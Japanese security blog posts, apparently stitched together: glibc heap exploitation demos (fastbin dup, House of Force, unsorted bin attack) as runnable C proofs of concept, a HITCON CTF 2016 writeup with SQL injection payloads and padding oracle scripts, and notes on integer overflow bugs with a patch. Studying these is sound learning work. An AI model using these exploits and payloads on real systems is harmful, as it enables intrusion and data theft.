[+] abuse p1 overflow
p2->size = 0x51
p2->fd = 0x601048

[+] unlink p2
p3 = 0x1ac6450

[+] get target memory
p4 = 0x601058
jackpot!

fastbin dup into stack

fastbinsは片方向リストとなっているため、p1、p2、p1のようにfreeすることでp1を2回free listに入れることができる。 したがって、その後同一サイズのchunkを3回mallocすると、1回目と3回目で同一のchunkがunlinkされることになる。 これを利用すると、書き換えたいアドレスの1ワード前を適当な値にできる場合、1回目で確保したchunkの p->fd を書き換えることでfastbins unlink attackを行うことができる。 なお、慣習的にinto stackと呼ばれているが、条件を満たすアドレスであればstack上のアドレスに限らず書き換えが可能である。

/* fastbin_dup_into_stack.c */
#include <stdio.h>
#include <stdlib.h>

void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }

void *n = 0x51;
void (*p)() = leave;

int main()
{
    printf("&p = %p\n", &p);

    puts("\n[+] allocate p1, p2, p3");
    char *p1 = malloc(0x40);
    char *p2 = malloc(0x40);
    char *p3 = malloc(0x40);
    printf("p1 = %p\n", p1);
    printf("p2 = %p\n", p2);
    printf("p3 = %p\n", p3);

    puts("\n[+] free p1, p2, p1");
    free(p1);
    free(p2);
    free(p1);

    puts("\n[+] allocate p4, p5");
    char *p4 = malloc(0x40);
    char *p5 = malloc(0x40);
    printf("p4 = %p\n", p4);
    printf("p5 = %p\n", p5);

    puts("\n[+] write p4->fd");
    *(void **)p4 = (void *)&p - 0x10;
    printf("p4->size = %p\n", *(void **)(p4-0x8));
    printf("p4->fd = %p\n", *(void **)p4);

    puts("\n[+] unlink p4 by allocating p6");
    char *p6 = malloc(0x40);
    printf("p6 = %p\n", p6);

    puts("\n[+] get target memory");
    char *p7 = malloc(0x40);
    printf("p7 = %p\n", p7);
    *(void **)p7 = jackpot;

    p();
    return 0;
}
$ gcc fastbin_dup_into_stack.c -o fastbin_dup_into_stack
fastbin_dup_into_stack.c:8:11: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
 void *n = 0x51;
           ^

$ ./fastbin_dup_into_stack
&p = 0x601058

[+] allocate p1, p2, p3
p1 = 0x1e8e420
p2 = 0x1e8e470
p3 = 0x1e8e4c0

[+] free p1, p2, p1

[+] allocate p4, p5
p4 = 0x1e8e420
p5 = 0x1e8e470

[+] write p4->fd
p4->size = 0x51
p4->fd = 0x601048

[+] unlink p4 by allocating p6
p6 = 0x1e8e420

[+] get target memory
p7 = 0x601058
jackpot!

chunk size overwrite attack

隣接するfreed chunkのサイズを書き換えることにより、次のmallocでそのchunk以降にまたがる大きなchunkを確保することができる。 GHOST脆弱性（CVE-2015-0235）のPoCにて利用された。

/* chunk_size_overwrite.c */
#include <stdio.h>
#include <stdlib.h>

void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }

int main()
{
    puts("[+] allocate p1, p2, p3");
    char *p1 = malloc(0x80);
    char *p2 = malloc(0x80);
    void (**p3)() = malloc(sizeof(void *));
    *p3 = leave;
    printf("p1 = %p\n", p1);
    printf("p2 = %p\n", p2);
    printf("p3 = %p\n", p3);
    printf("p2->size = %p\n", *(void **)(p2-0x8));
    printf("*p3 = %p\n", *p3);

    puts("\n[+] free p2");
    free(p2);

    puts("\n[+] abuse p1 overflow");
    *(void **)(p1+0x88) = 0x1001;
    printf("p2->size = %p\n", *(void **)(p2-0x8));

    puts("\n[+] allocate a large chunk");
    char *p4 = malloc(0x200);
    printf("p4 = %p\n", p4);

    puts("\n[+] overwrite *p3");
    *(void **)(p4+0x90) = jackpot;
    printf("*p3 = %p\n", *p3);

    (*p3)();
    return 0;
}
$ gcc chunk_size_overwrite.c -o chunk_size_overwrite
chunk_size_overwrite.c: In function ‘main’:
chunk_size_overwrite.c:25:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p1+0x88) = 0x1001;
                         ^

$ ./chunk_size_overwrite
[+] allocate p1, p2, p3
p1 = 0x8ca420
p2 = 0x8ca4b0
p3 = 0x8ca540
p2->size = 0x91
*p3 = 0x4005f6

[+] free p2

[+] abuse p1 overflow
p2->size = 0x1001

[+] allocate a large chunk
p4 = 0x8ca4b0

[+] overwrite *p3
*p3 = 0x400607
jackpot!

House of Force attack

heap領域に並ぶchunkの一番最後（top chunk）のサイズを-1（0xFFFFFFFFFFFFFFFF）のような大きな値で書き換え、さらにサイズを細工した巨大なchunkを確保することにより、次のmallocが返すアドレスを任意の0x10の倍数となるアドレスにすることができる。 これを行うには、以下の条件をすべて満たすことが必要である。

  • top chunkのアドレスが推測可能
  • top chunkのサイズを任意の値に書き換えられる
  • その後任意のサイズのmallocを呼ぶことができる

また、次のmallocが返すアドレスの1ワード前が破壊されることに注意する必要がある。

/* house of force.c */
#include <stdio.h>
#include <stdlib.h>

void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }

unsigned long junk = 0xdeadbeef;
void (*p)() = leave;

int main()
{
    printf("&p = %p\n", &p);
    printf("junk = %lx\n", junk);

    puts("\n[+] allocate p1");
    char *p1 = malloc(0x40);
    char *top_chunk = p1+0x40;
    printf("p1 = %p\n", p1);
    printf("top chunk size = %p\n", *(void **)(top_chunk+0x8));

    puts("\n[+] abuse p1 overflow");
    *(void **)(p1+0x48) = -1;
    printf("top chunk size = %p\n", *(void **)(top_chunk+0x8));

    puts("\n[+] allocate a huge chunk (break &p-0x8)");
    long newsize = (void *)&p-0x10-(void *)(top_chunk+0x10);
    char *p2 = malloc(newsize);
    printf("junk = %lx\n", junk);

    puts("\n[+] get target memory");
    char *p3 = malloc(0x80);
    printf("p3 = %p\n", p3);

    if ((long)&p % 0x10 == 0) {
        *(void **)p3 = jackpot;
    } else {
        *(void **)(p3+0x8) = jackpot;
    }

    p();
    return 0;
}
$ gcc house_of_force.c -o house_of_force
house_of_force.c: In function ‘main’:
house_of_force.c:23:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p1+0x48) = -1;
                         ^

$ ./house_of_force
&p = 0x601050
junk = deadbeef

[+] allocate p1
p1 = 0x117f420
top chunk size = 0x20ba1

[+] abuse p1 overflow
top chunk size = 0xffffffffffffffff

[+] allocate a huge chunk (break &p-0x8)
junk = b7e419

[+] get target memory
p3 = 0x601050
jackpot!

unsorted bin attack

fastbin chunkではないchunk（サイズがM_MXFAST以上）のbkを書き換えることにより、推測可能なアドレスにある値を大きな値（&(main_arena->top)）に書き換えることができる。

/* unsorted_bin.c */
#include <stdio.h>
#include <stdlib.h>

unsigned long target = 0xdeadbeef;

int main(){
    printf("target = %lx\n", target);

    puts("\n[+] allocate p1, p2, p3");
    char *p1 = malloc(0x80);
    char *p2 = malloc(0x90);
    char *p3 = malloc(0xa0);
    printf("p1 = %p\n", p1);
    printf("p2 = %p\n", p2);
    printf("p3 = %p\n", p3);

    puts("\n[+] free p2");
    free(p2);

    puts("\n[+] abusing p1 overflow");
    *(void **)(p1+0x98) = (void *)&target-0x10;

    puts("\n[+] allocate p4 with the same size of p2");
    char *p4 = malloc(0x90);
    printf("p4 = %p\n", p4);

    puts("\n[+] target is overwritten with a large number: &(main_arena->top)");
    printf("target = %lx\n", target);
    return 0;
}
$ gcc unsorted_bin.c -o unsorted_bin

$ ./unsorted_bin
target = deadbeef

[+] allocate p1, p2, p3
p1 = 0x1d60420
p2 = 0x1d604b0
p3 = 0x1d60550

[+] free p2

[+] abusing p1 overflow

[+] allocate p4 with the same size of p2
p4 = 0x1d604b0

[+] target is overwritten with a large number: &(main_arena->top)
target = 7fd47489eb78

更新履歴

  • 2016/10/18: double free vulnerabilityによるlibcアドレスのリーク、unsorted bin attackを追記
  • 2018/01/24: fastbin dup into stackを追記

関連リンク

HITCON CTF 2016 Quals 供養（Writeup）

CTF

HITCON CTF 2016 Qualsに一人チームで参加した。結果は500ptで103位。 たいした問題は解けてないが、供養。

Welcome (Reverse 50)

サービス問題。

$ python
Python 2.7.6 (default, Jun 22 2015, 17:58:13)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '}FTC NOCTIH ot emocleW{noctih'[::-1]
hitcon{Welcome to HITCON CTF}

Handcrafted pyc (Reverse 50)

Python 2.7のバイトコードを読む問題。

とりあえず適当なpycファイルからヘッダ8バイトを持ってきてpycファイルを作り、disモジュールを使ったディスアセンブルコードをもとにディスアセンブルしてみる（なお、コードの一部が間違っていたので修正した）。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import marshal, zlib, base64

code_obj = (marshal.loads(zlib.decompress(base64.b64decode('eJyNVktv00AQXm/eL0igiaFA01IO4cIVCUGFBBJwqRAckLhEIQmtRfPwI0QIeio/hRO/hJ/CiStH2M/prj07diGRP43Hs9+MZ2fWMxbnP6mux+oK9xVMHPFViLdCTB0xkeKDFEFfTIU4E8KZq8dCvB4UlN3hGEsdddXU9QTLv1eFiGKGM4cKUgsFCNLFH7dFrS9poayFYmIZm1b0gyqxMOwJaU3r6xs9sW1ooakXuRv+un7Q0sIlLVzOCZq/XtsK2oTSYaZlStogXi1HV0iazoN2CV2HZeXqRQ54TlJRb7FUlKyUatISsdzo+P7UU1Gb1POdMruckepGwk9tIXQTftz2yBaT5JQovWvpSa6poJPuqgao+b9l5Aj/R+mLQIP4f6Q8Vb3g/5TB/TJxWGdZr9EQrmn99fwKtTvAZGU7wzS7GNpZpDm2JgCrr8wrmPoo54UqGampFIeS9ojXjc4E2yI06bq/4DRoUAc0nVnng4k6p7Ks0+j/S8z9V+NZ5dhmrJUM/y7JTJeRtnJ2TSYJvsFq3CQt/vnfqmQXt5KlpuRcIvDAmhnn2E0t9BJ3SvB/SfLWhuOWNiNVZ+h28g4wlwUp00w95si43rZ3r6+fUIEdgOZbQAsyFRRvBR6dla8KCzRdslar7WS+a5HFb39peIAmG7uZTHVm17Czxju4m6bayz8e7J40DzqM0jr0bmv9PmPvk6y5z57HU8wdTDHeiUJvBMAM4+0CpoAZ4BPgJeAYEAHmgAUgAHiAj4AVAGORtwd4AVgC3gEmgBBwCPgMWANOAQ8AbwBHgHuAp4D3gLuARwoGmNUizF/j4yDC5BWM1kNvvlxFA8xikRrBxHIUhutFMBlgQoshhPphGAXe/OggKqqb2cibxwuEXjUcQjccxi5eFRL1fDSbKrUhy2CMb2aLyepkegDWsBwPlrVC0/kLHmeCBQ=='))))
print '\x03\xf3\x0d\x0a\x61\x79\xe6\x57' + marshal.dumps(code_obj)
# http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html
import dis, marshal, struct, sys, time, types

def show_file(fname):
    f = open(fname, "rb")
    magic = f.read(4)
    moddate = f.read(4)
    modtime = time.asctime(time.localtime(struct.unpack('I', moddate)[0]))
    print "magic %s" % (magic.encode('hex'))
    print "moddate %s (%s)" % (moddate.encode('hex'), modtime)
    code = marshal.load(f)
    show_code(code)

def show_code(code, indent=''):
    print "%scode" % indent
    indent += '   '
    print "%sargcount %d" % (indent, code.co_argcount)
    print "%snlocals %d" % (indent, code.co_nlocals)
    print "%sstacksize %d" % (indent, code.co_stacksize)
    print "%sflags %04x" % (indent, code.co_flags)
    show_hex("code", code.co_code, indent=indent)
    dis.disassemble(code)
    print "%sconsts" % indent
    for const in code.co_consts:
        if type(const) == types.CodeType:
            show_code(const, indent+'   ')
        else:
            print "   %s%r" % (indent, const)
    print "%snames %r" % (indent, code.co_names)
    print "%svarnames %r" % (indent, code.co_varnames)
    print "%sfreevars %r" % (indent, code.co_freevars)
    print "%scellvars %r" % (indent, code.co_cellvars)
    print "%sfilename %r" % (indent, code.co_filename)
    print "%sname %r" % (indent, code.co_name)
    print "%sfirstlineno %d" % (indent, code.co_firstlineno)
    show_hex("lnotab", code.co_lnotab, indent=indent)

def show_hex(label, h, indent):
    h = h.encode('hex')
    if len(h) < 60:
        print "%s%s %s" % (indent, label, h)
    else:
        print "%s%s" % (indent, label)
        for i in range(0, len(h), 60):
            print "%s   %s" % (indent, h[i:i+60])

show_file(sys.argv[1])
$ python crackme.py >crackme.pyc

$ python show_file.py crackme.pyc
magic 03f30d0a
moddate 6179e657 (Sat Sep 24 22:02:25 2016)
code
   argcount 0
   nlocals 0
   stacksize 2
   flags 0040
   code
      6401008400005a00006501006402006b0200721f00650000830000016e00
      0064000053
  1           0 LOAD_CONST               1 (<code object main at 0x7f20b73a6db0, file "<string>", line 1>)
              3 MAKE_FUNCTION            0
              6 STORE_NAME               0 (main)

  4           9 LOAD_NAME                1 (__name__)
             12 LOAD_CONST               2 ('__main__')
             15 COMPARE_OP               2 (==)
             18 POP_JUMP_IF_FALSE       31

  5          21 LOAD_NAME                0 (main)
             24 CALL_FUNCTION            0
             27 POP_TOP
             28 JUMP_FORWARD             0 (to 31)
        >>   31 LOAD_CONST               0 (None)
             34 RETURN_VALUE
   consts
      None
      code
         argcount 0
         nlocals 1
         stacksize 9
         flags 0043
         code
            740000640100830100740000640100830100740000640200830100740000
            640300830100021702170217740000640400830100740000640500830100
            (snip)
            021702170217740000642200830100740000642300830100740000640400
            830100740000641f0083010002170217021717171717474864000053
  1           0 LOAD_GLOBAL              0 (chr)
              3 LOAD_CONST               1 (108)
              6 CALL_FUNCTION            1
              9 LOAD_GLOBAL              0 (chr)
             12 LOAD_CONST               1 (108)
             15 CALL_FUNCTION            1
             18 LOAD_GLOBAL              0 (chr)
             21 LOAD_CONST               2 (97)
             24 CALL_FUNCTION            1
             27 LOAD_GLOBAL              0 (chr)
             30 LOAD_CONST               3 (67)
             33 CALL_FUNCTION            1
             36 ROT_TWO
             37 BINARY_ADD
             38 ROT_TWO
             39 BINARY_ADD
             40 ROT_TWO
             41 BINARY_ADD
             42 LOAD_GLOBAL              0 (chr)
             45 LOAD_CONST               4 (32)
             48 CALL_FUNCTION            1
             51 LOAD_GLOBAL              0 (chr)
             54 LOAD_CONST               5 (101)
             57 CALL_FUNCTION            1
             60 LOAD_GLOBAL              0 (chr)
             63 LOAD_CONST               6 (109)
             66 CALL_FUNCTION            1
             69 LOAD_GLOBAL              0 (chr)
             72 LOAD_CONST               4 (32)
             75 CALL_FUNCTION            1
             78 ROT_TWO
             79 BINARY_ADD
             80 ROT_TWO
             81 BINARY_ADD
             82 ROT_TWO
             83 BINARY_ADD
             84 BINARY_ADD
                (snip)
            741 JUMP_ABSOLUTE          759
        >>  744 LOAD_GLOBAL              1 (raw_input)
            747 JUMP_ABSOLUTE         1480
        >>  750 LOAD_FAST                0 (password)
            753 COMPARE_OP               2 (==)
            756 JUMP_ABSOLUTE          767
        >>  759 ROT_TWO
            760 STORE_FAST               0 (password)
            763 POP_TOP
            764 JUMP_ABSOLUTE          744
        >>  767 POP_JUMP_IF_FALSE     1591
                (snip)
           2217 RETURN_VALUE
         consts
            None
            108
            97
            (snip)
            61
         names ('chr', 'raw_input')
         varnames ('password',)
         freevars ()
         cellvars ()
         filename '<string>'
         name 'main'
         firstlineno 1
         lnotab
      '__main__'
   names ('main', '__name__')
   varnames ()
   freevars ()
   cellvars ()
   filename '<string>'
   name '<module>'
   firstlineno 1
   lnotab 000009030c01

ディスアセンブルされたコードを読むと、767バイト目のPOP_JUMP_IF_FALSEで正否判定しているようなので、バイトコードの定義を見つつPOP_JUMP_IF_TRUEに書き換えて実行してみる。

152: jabs_op('POP_JUMP_IF_FALSE', 114)    # ""
153: jabs_op('POP_JUMP_IF_TRUE', 115)     # ""
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import marshal, zlib, base64

bytecode = zlib.decompress(base64.b64decode('eJyNVktv00AQXm/eL0igiaFA01IO4cIVCUGFBBJwqRAckLhEIQmtRfPwI0QIeio/hRO/hJ/CiStH2M/prj07diGRP43Hs9+MZ2fWMxbnP6mux+oK9xVMHPFViLdCTB0xkeKDFEFfTIU4E8KZq8dCvB4UlN3hGEsdddXU9QTLv1eFiGKGM4cKUgsFCNLFH7dFrS9poayFYmIZm1b0gyqxMOwJaU3r6xs9sW1ooakXuRv+un7Q0sIlLVzOCZq/XtsK2oTSYaZlStogXi1HV0iazoN2CV2HZeXqRQ54TlJRb7FUlKyUatISsdzo+P7UU1Gb1POdMruckepGwk9tIXQTftz2yBaT5JQovWvpSa6poJPuqgao+b9l5Aj/R+mLQIP4f6Q8Vb3g/5TB/TJxWGdZr9EQrmn99fwKtTvAZGU7wzS7GNpZpDm2JgCrr8wrmPoo54UqGampFIeS9ojXjc4E2yI06bq/4DRoUAc0nVnng4k6p7Ks0+j/S8z9V+NZ5dhmrJUM/y7JTJeRtnJ2TSYJvsFq3CQt/vnfqmQXt5KlpuRcIvDAmhnn2E0t9BJ3SvB/SfLWhuOWNiNVZ+h28g4wlwUp00w95si43rZ3r6+fUIEdgOZbQAsyFRRvBR6dla8KCzRdslar7WS+a5HFb39peIAmG7uZTHVm17Czxju4m6bayz8e7J40DzqM0jr0bmv9PmPvk6y5z57HU8wdTDHeiUJvBMAM4+0CpoAZ4BPgJeAYEAHmgAUgAHiAj4AVAGORtwd4AVgC3gEmgBBwCPgMWANOAQ8AbwBHgHuAp4D3gLuARwoGmNUizF/j4yDC5BWM1kNvvlxFA8xikRrBxHIUhutFMBlgQoshhPphGAXe/OggKqqb2cibxwuEXjUcQjccxi5eFRL1fDSbKrUhy2CMb2aLyepkegDWsBwPlrVC0/kLHmeCBQ=='))

i = bytecode.index('740000640100830100740000640100830100740000640200830100740000'.decode('hex'))
i += bytecode[i:].index(chr(114))
bytecode = bytecode[:i] + chr(115) + bytecode[i+1:]

exec(marshal.loads(bytecode))
$ python crackme2.py
password:
hitcon{Now you can compile and run Python bytecode in your brain!}

Are you rich? (Web 50)

SQL injection問題。

i1EJG83Y35Pa3ReiiEjwmPiDXonmpdnm3WKA' UNION SELECT table_name FROM information_schema.columns LIMIT 1 OFFSET 61 #
=> Error!: Remote API server reject your invalid address 'flag1'. If your address is valid, please PM @cebrusfs or other admin on IRC.

1EJG83Y35Pa3ReiiEjwmPiDXonmpdnm3WKA' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'flag1' #
=> Error!: Remote API server reject your invalid address 'flag'. If your address is valid, please PM @cebrusfs or other admin on IRC.

1EJG83Y35Pa3ReiiEjwmPiDXonmpdnm3WKA' UNION SELECT flag FROM flag1 #
=> Error!: Remote API server reject your invalid address 'hitcon{4r3_y0u_r1ch?ju57_buy_7h3_fl4g!!}'. If your address is valid, please PM @cebrusfs or other admin on IRC.

Are you rich 2 ? (Web 100)

SQL injection問題の続き。 テーブル定義を見ると、入力したビットコインアドレスがissued_addressテーブルに入っているかを確認した上で残高を問い合わせているようなので、次のようにしてissued_addressテーブルにお金持ちのアドレスが入っているように誤認識させた（？）。

1EJG83Y35Pa3ReiiEjwmPiDXonmpdnm3WKA' UNION SELECT table_name FROM information_schema.columns LIMIT 1 OFFSET 62 #
=> Error!: Remote API server reject your invalid address 'issued_address'. If your address is valid, please PM @cebrusfs or other admin on IRC.

1EJG83Y35Pa3ReiiEjwmPiDXonmpdnm3WKA' UNION SELECT '3Nxwenay9Z8Lc9JBiywExpnEFiLp6Afp8v' FROM issued_address #
=> Well done!
   Aww yeah, you successfully read this important message. Thank you for buying flag.
   Here's your flag: Flag2 is: hitcon{u51n6_07h3r_6uy5_b17c0n_70_byp455_ch3ck1n6_15_fun!!}

Let's Decrypt (Crypto 100)

CBCモードに対するPadding oracle attackを行い、既知平文からIVを求める問題。

接続すると、次のようにしてソースコードが得られる。

1) Show me the source
2) Let's decrypt
1
#!/usr/bin/env ruby
require 'openssl'
require 'timeout'

$stdout.sync = true
Dir.chdir(File.dirname(__FILE__))

class String
  def enhex
    self.unpack('H*')[0]
  end

  def dehex
    [self].pack('H*')
  end
end

flag = IO.read('flag')
KEY = IV = flag[/hitcon\{(.*)\}/, 1]
fail unless KEY.size == 16

def aes(s, mode)
  cipher = OpenSSL::Cipher::AES128.new(:CBC)
  cipher.send(mode)
  cipher.key = KEY
  cipher.iv = IV
  cipher.update(s) + cipher.final
end

def encrypt(s); aes(s, :encrypt) end
def decrypt(s); aes(s, :decrypt) end

m = 'The quick brown fox jumps over the lazy dog'
c = encrypt(m)
fail unless c.enhex == '4a5b8d0034e5469c071b60000ca134d9e04f07e4dcd6cf096b47ba48b357814e4a89ef1cfad33e1dd28b892ba7233285'
fail unless c.enhex.dehex == c
fail unless decrypt(c) == m

begin
  Timeout::timeout(30) do
    puts '1) Show me the source'
    puts "2) Let's decrypt"
    cmd = gets.to_i
    case cmd
    when 1
      puts IO.read(__FILE__)
    when 2
      c = gets.chomp.dehex
      m = decrypt(c)
      puts m.enhex
    else
      puts '...meow?'
    end
  end
rescue Timeout::Error
  puts 'Timeout ._./'
end

復号に失敗したとき例外エラーのメッセージが返ってくるので、これをもとに1番目の暗号文ブロックに繋がる暗号文ブロックを探す。 見つかったら、下図を参考に1番目の平文ブロックおよびパディングとXORを取ることでIVを得る。

f:id:inaz2:20161010131228p:plain

import socket

def xor(a, b):
    return ''.join(chr(ord(x) ^ ord(y)) for x, y in zip(a, b))

c0 = '4a5b8d0034e5469c071b60000ca134d9e04f07e4dcd6cf096b47ba48b357814e4a89ef1cfad33e1dd28b892ba7233285'.decode('hex')[:16]
m0 = 'The quick brown fox jumps over the lazy dog'[:16]

"""
x = []
for i in xrange(16):
    for c in xrange(256):
        s = socket.create_connection(('52.69.125.71', 4443))
        s.recv(8192)
        s.recv(8192)
        s.sendall('2\n')
        buf = chr(c)
        buf += ''.join(chr(c) for c in x)
        buf = buf.rjust(16, '\x00')
        print "%r" % buf
        buf += c0
        s.sendall(buf.encode('hex') + '\n')
        result = s.recv(8192)
        if not "/home/letsdecrypt/letsdecrypt.rb:27:in `final'" in result:
            x = [c] + x
            print ''.join(chr(c) for c in x)
            x = [c ^ (i+1) ^ (i+2) for c in x]
            break
    else:
        break
"""

x = '\x16L\x1bTQ\x08Y:-\x10\x02\x0e\x05G&t'
print xor(xor(x, m0), '\x10'*16)
$ python solve.py
R4nd0m IV plz XD

Hackpad (Crypto 150)

CBCモードに対するPadding oracle attackのログから復号された文字列を求める問題。

まずはpcapファイルから復号に成功したメッセージの列を取り出す。

$ strings hackpad.pcap | grep -e '^msg=' -e '\md5' | grep -B1 '^md5' | grep '^msg=' >msgs.txt

$ head msgs.txt
msg=3ed2e01c1d1248125c67ac637384a22d997d9369c74c82abba4cc3b1bfc65f026c957ff0feef61b161cfe3373c2d9b905639aa3688659566d9acc93bb72080f7e5ebd643808a0e50e1fc3d16246afcf688dfedf02ad4ae84fd92c5c53bbd98f08b21d838a3261874c4ee3ce8fbcb96628d5706499dd985ec0c13573eeee03766f7010a867edfed92c33233b17a9730eb4a82a6db51fa6124bfc48ef99d669e21740d12656f597e691bbcbaa67abe1a09f02afc37140b167533c7536ab2ecd4ed37572fc9154d23aa7d8c92b84b774702632ed2737a569e4dfbe01338fcbb2a77ddd6990ce169bb4f48e1ca96d30eced23b6fe5b875ca6481056848be0fbc26bcbffdfe966da4221103408f459ec1ef12c72068bc1b96df045d3fa12cc2a9dcd162ffdf876b3bc3a3ed2373559bcbe3f470a8c695bf54796bfe471cd34b463e9876212df912deef882b657954d7dada47
msg=00000000000000000000000000000000997d9369c74c82abba4cc3b1bfc65f02
msg=00000000000000000000000000000000997d9369c74c82abba4cc3b1bfc65f02
msg=0000000000000000000000000000d903997d9369c74c82abba4cc3b1bfc65f02
msg=00000000000000000000000000efd802997d9369c74c82abba4cc3b1bfc65f02
msg=00000000000000000000000007e8df05997d9369c74c82abba4cc3b1bfc65f02
msg=00000000000000000000000706e9de04997d9369c74c82abba4cc3b1bfc65f02
msg=00000000000000000000d80405eadd07997d9369c74c82abba4cc3b1bfc65f02
msg=00000000000000000007d90504ebdc06997d9369c74c82abba4cc3b1bfc65f02
msg=00000000000000003b08d60a0be4d309997d9369c74c82abba4cc3b1bfc65f02

あとは、特定された文字を順番に計算して繋げていく。

import re

with open('msgs.txt') as f:
    data = f.read()
    lines = data.splitlines()

ck = re.findall(r'\w{32}', lines[0][4:])

s = ''
for j in xrange(20):
    c = ck[j].decode('hex')
    for i in xrange(16):
        x = lines[16*j+i+2][4:][:32]
        x = x.decode('hex')
        y = ''.join(chr(ord(a) ^ ord(b) ^ (i+1)) for a, b in zip(c, x))
        print "%r" % y
    s += y

print s
$ python solve.py
'?\xd3\xe1\x1d\x1c\x13I\x13]f\xadbr\x85\xa3,'
'<\xd0\xe2\x1e\x1f\x10J\x10^e\xaeaq\x86y,'
'=\xd1\xe3\x1f\x1e\x11K\x11_d\xaf`phy,'
':\xd6\xe4\x18\x19\x16L\x16Xc\xa8gphy,'
';\xd7\xe5\x19\x18\x17M\x17Yb\xa9aphy,'
'8\xd4\xe6\x1a\x1b\x14N\x14Zaraphy,'
'9\xd5\xe7\x1b\x1a\x15O\x15[graphy,'
'6\xda\xe8\x14\x15\x1a@\x1aography,'
'7\xdb\xe9\x15\x14\x1bAtography,'
'4\xd8\xea\x16\x17\x18ptography,'
'5\xd9\xeb\x17\x16yptography,'
'2\xde\xec\x10ryptography,'
'3\xdf\xedcryptography,'
'0\xdc cryptography,'
'1n cryptography,'
'In cryptography,'
'\x98|\x92h\xc6M\x83\xaa\xbbM\xc2\xb0\xbe\xc7^l'
(snip)
'tive.\n\n\n\n\n\n\n\n\n\n\n'
In cryptography, a padding oracle attack is an attack which is performed using the padding of a cryptographic message.
hitcon{H4cked by a de1ici0us pudding '3'}
In cryptography, variable-length plaintext messages often have to be padded (expanded) to be compatible with the underlying cryptographic primitive.

所感

例によって、Pwn、Reverseカテゴリがまったくダメで厳しい。 他には、下記の問題を主に見ていた。

  • Secret Holder (pwn 100)
  • Secure Posts (web 50)
  • Secure Posts 2 (web 150)
  • %%% (web, orange 100)
  • Baby Trick (web, orange 200)
  • Leaking (web, orange 200)

Secure Postsが解けなかったのが痛い。

関連リンク

整数オーバーフローと符号エラー

整数に関係するバグについてのメモ。

環境

Ubuntu 14.04.4 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.4 LTS
Release:        14.04
Codename:       trusty

$ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4

整数オーバーフロー（Integer Overflow）

整数オーバーフローは、演算の結果、整数が表現できる最大値を越えてしまうことにより発生するバグである。

/* integer_overflow.c */
#include <stdio.h>
#include <stdlib.h>

int main()
{
    char buf[40];
    int n;

    scanf("%d", &n);
    printf("n+1 == %d\n", n+1);
    if (n+1 > sizeof(buf)) {
        puts("too long!");
        exit(1);
    }

    read(0, buf, n);

    return 0;
}

上のコードではバッファサイズのチェックが行われているが、次のように4294967295（=232-1）を与えたときチェックを通過してしまう。

$ gcc integer_overflow.c

$ ./a.out
10
n+1 == 11
AAAA

$ ./a.out
80
n+1 == 81
too long!

$ python
Python 2.7.6 (default, Jun 22 2015, 17:58:13)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> (1<<32)-1
4294967295
>>>

$ ./a.out
4294967295
n+1 == 0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: ./a.out terminated
Aborted (core dumped)

これを防ぐには、入力に依存しない箇所で計算を行うようにすればよい。

--- integer_overflow.c  2016-09-27 15:23:56.920312000 +0900
+++ patched/integer_overflow.c  2016-09-27 15:24:30.728312000 +0900
@@ -9,7 +9,7 @@

     scanf("%d", &n);
     printf("n+1 == %d\n", n+1);
-    if (n+1 > sizeof(buf)) {
+    if (n > sizeof(buf)-1) {
         puts("too long!");
         exit(1);
     }

符号エラー（Signedness Error）

符号エラーは、符号付き整数が符号なし整数として扱われる、あるいはその逆が起こることにより発生するバグである。

/* signedness_error.c */
#include <stdio.h>
#include <stdlib.h>

int main()
{
    char buf[40];
    int n;

    scanf("%d", &n);
    if (n > 40) {
        puts("too long!");
        exit(1);
    }

    read(0, buf, n);

    return 0;
}

上のコードではバッファサイズのチェックが行われているが、次のように-1を与えたときチェックを通過してしまう。

$ gcc signedness_error.c

$ ./a.out
10
AAAA

$ ./a.out
80
too long!

$ ./a.out
-1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: ./a.out terminated
Aborted (core dumped)

$ strace ./a.out
execve("./a.out", ["./a.out"], [/* 21 vars */]) = 0
brk(0)                                  = 0x1178000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5d72941000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=37010, ...}) = 0
mmap(NULL, 37010, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f5d72937000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P \2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1840928, ...}) = 0
mmap(NULL, 3949248, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f5d7235c000
mprotect(0x7f5d72516000, 2097152, PROT_NONE) = 0
mmap(0x7f5d72716000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1ba000) = 0x7f5d72716000
